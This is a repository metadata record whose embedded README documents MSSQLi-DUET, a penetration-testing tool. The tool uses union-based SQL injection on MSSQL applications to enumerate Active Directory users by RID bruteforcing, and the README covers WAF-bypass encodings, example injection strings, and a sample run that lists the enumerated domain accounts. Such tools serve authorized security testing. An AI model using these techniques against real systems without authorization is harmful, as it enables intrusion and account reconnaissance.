{"id":15002607,"url":"https://github.com/keramas/mssqli-duet","last_synced_at":"2025-10-19T04:05:01.752Z","repository":{"id":131347019,"uuid":"247171673","full_name":"Keramas/mssqli-duet","owner":"Keramas","description":"SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcing","archived":false,"fork":false,"pushed_at":"2020-05-10T19:30:35.000Z","size":15019,"stargazers_count":93,"open_issues_count":1,"forks_count":19,"subscribers_count":6,"default_branch":"master","last_synced_at":"2025-02-02T07:31:48.933Z","etag":null,"topics":["active-directory","application-security","burp-extensions","burp-plugin","mssql","penetration-testing","sql-injection","user-enumeration","windows"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Keramas.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2020-03-13T22:26:04.000Z","updated_at":"2024-11-28T05:13:00.000Z","dependencies_parsed_at":"2023-04-07T04:33:22.466Z","dependency_job_id":null,"html_url":"https://github.com/Keramas/mssqli-duet","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keramas%2Fmssqli-duet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keramas%2Fmssqli-duet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keramas%2Fmssqli-duet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keramas%2Fmssqli-duet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Keramas","download_url":"https://codeload.github.com/Keramas/mssqli-duet/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":238950485,"owners_count":19557533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["active-directory","application-security","burp-extensions","burp-plugin","mssql","penetration-testing","sql-injection","user-enumeration","windows"],"created_at":"2024-09-24T18:51:27.594Z","updated_at":"2025-10-19T04:05:01.696Z","avatar_url":"https://github.com/Keramas.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# MSSQLi-DUET - MSSQL Injection-based Domain User Enumeration Tool\n\nSQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcing. Supports various forms of WAF bypass techniques through the implementation of SQLmap tamper functions. Additional tamper functions can be incorporated by the user depending on the situation and environment.\n\nComes in two flavors: straight-up `Python script` for terminal use, or a `Burp Suite plugin` for simple GUI navigation.\n\nCurrently only supports union-based injection at the moment. More samples and test cases are required to fully test tool's functionality and accuracy. Feedback and comments are greatly welcomed if you encounter a situation it does not work. \n\nCustom tailoring the script and plugin to your needs should not be too difficult as well. Be sure to read the Notes section for some troubleshooting.\n\n## Burp Suite Plugin\nAfter loading the plugin into Burp Suite, right-click on a request and send it to `MSSQLi-DUET`. More details on the parameters and such are described below.\n\nThe request will populate in the request window, and only the fields above it need to be filled out. After hitting run the output will be placed in the results output box for easy copy pasting.\n\n\u003cimg src = \"images/plugin-demo.gif\"\u003e\n\n## Python Script Usage\n### Script Help\n```\npython3 mssqli-duet.py -h\nusage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid\n                      RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]\n                      [-o OUTFILE] -r REQUEST_FILE\n\nMSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -i INJECTION, --injection INJECTION\n                        Injection point. Provide only the data needed to\n                        escape the query.\n  -e ENCODING, --encoding ENCODING\n                        Type of encoding: unicode, doubleencode, unmagicquotes\n  -t TIME_DELAY, --time_delay TIME_DELAY\n                        Time delay for requests.\n  -rid RID_RANGE, --rid_range RID_RANGE\n                        Hypenated range of RIDs to bruteforce. Ex: 1000-1200\n  -ssl SSL, --ssl SSL   Add flag for HTTPS\n  -p PARAMETER, --parameter PARAMETER\n                        Vulnerable parameter\n  -proxy PROXY, --proxy PROXY\n                        Proxy connection string. Ex: 127.0.0.1:8080\n  -o OUTFILE, --outfile OUTFILE\n                        Outfile for username enumeration results.\n  -r REQUEST_FILE, --request_file REQUEST_FILE\n                        Raw request file saved from Burp\n\nPrepare to be enumerated!\n```\n\n### How to use\nAfter identifying a union-based SQL injection in an application, copy the raw request from Burp Suite using the 'copy to file' feature.\n\nPass the saved request to DUET with the `-r` flag. Specify the vulnerable parameter and well as the point of injection. As an example, if the parameter \"element\" is susceptible to SQL injection, `-p` will be \"element\". DUET will build out all the SQL injection queries automatically, but specification for the initial injection needs to be provided. Meaning, if the injection occurs because of a single apostrophe after the parameter data, this is what would be specified for the `-i` argument. \n```\nEx: test' \n    test'))\n    test\")\"\n```\n\n### Example\n```\npython3 mssqli-duet.py -i \"carbon'\" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080\n[+] Collected request data:\nTarget URL = http://192.168.11.22/search2.php?element=carbon\nMethod = GET\nContent-Type = applcation/x-www-form-urlencoded\n\n\n[+] Determining the number of columns in the table...\n        [!] Number of columns is  3\n[+] Determining column type...\n        [!] Column type is null\n[+] Discovering domain name...\n        [+] Domain = NEUTRINO\n[+] Discovering domain SID...\nS-1-5-21-4142252318-1896537706-4233180933-\n\n[+] Enumerating Active Directory via SIDs...\n\nNEUTRINO\\HYDROGENDC01$\nNEUTRINO\\DnsAdmins\nNEUTRINO\\DnsUpdateProxy\nNEUTRINO\\HELIUM$\nNEUTRINO\\BORON$\nNEUTRINO\\BERYLLIUM$\nNEUTRINO\\aeinstein\nNEUTRINO\\bbobberson\nNEUTRINO\\csagan\nNEUTRINO\\ccheese\nNEUTRINO\\svc_web\nNEUTRINO\\svc_sql\n```\n\n## Notes\nThe script may need to be modified depending on the casting and type limitations of the columns that are discovered.   \nThis includes modifications to switch the column position of the payload, and also modifying the query strings themselves to account for column types that will not generate errors.\n\nAdditionally, the logic for determining the number of columns is currently not the greatest, and certain comparisons maybe need to be commented out to ensure proper determination takes place. \n\nOverall, just take a look at the requests being sent in Burp and tailor the script as necessary to the SQL injection environment you find yourself in.\n\n\n## References \nhttps://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkeramas%2Fmssqli-duet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fkeramas%2Fmssqli-duet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkeramas%2Fmssqli-duet/lists"}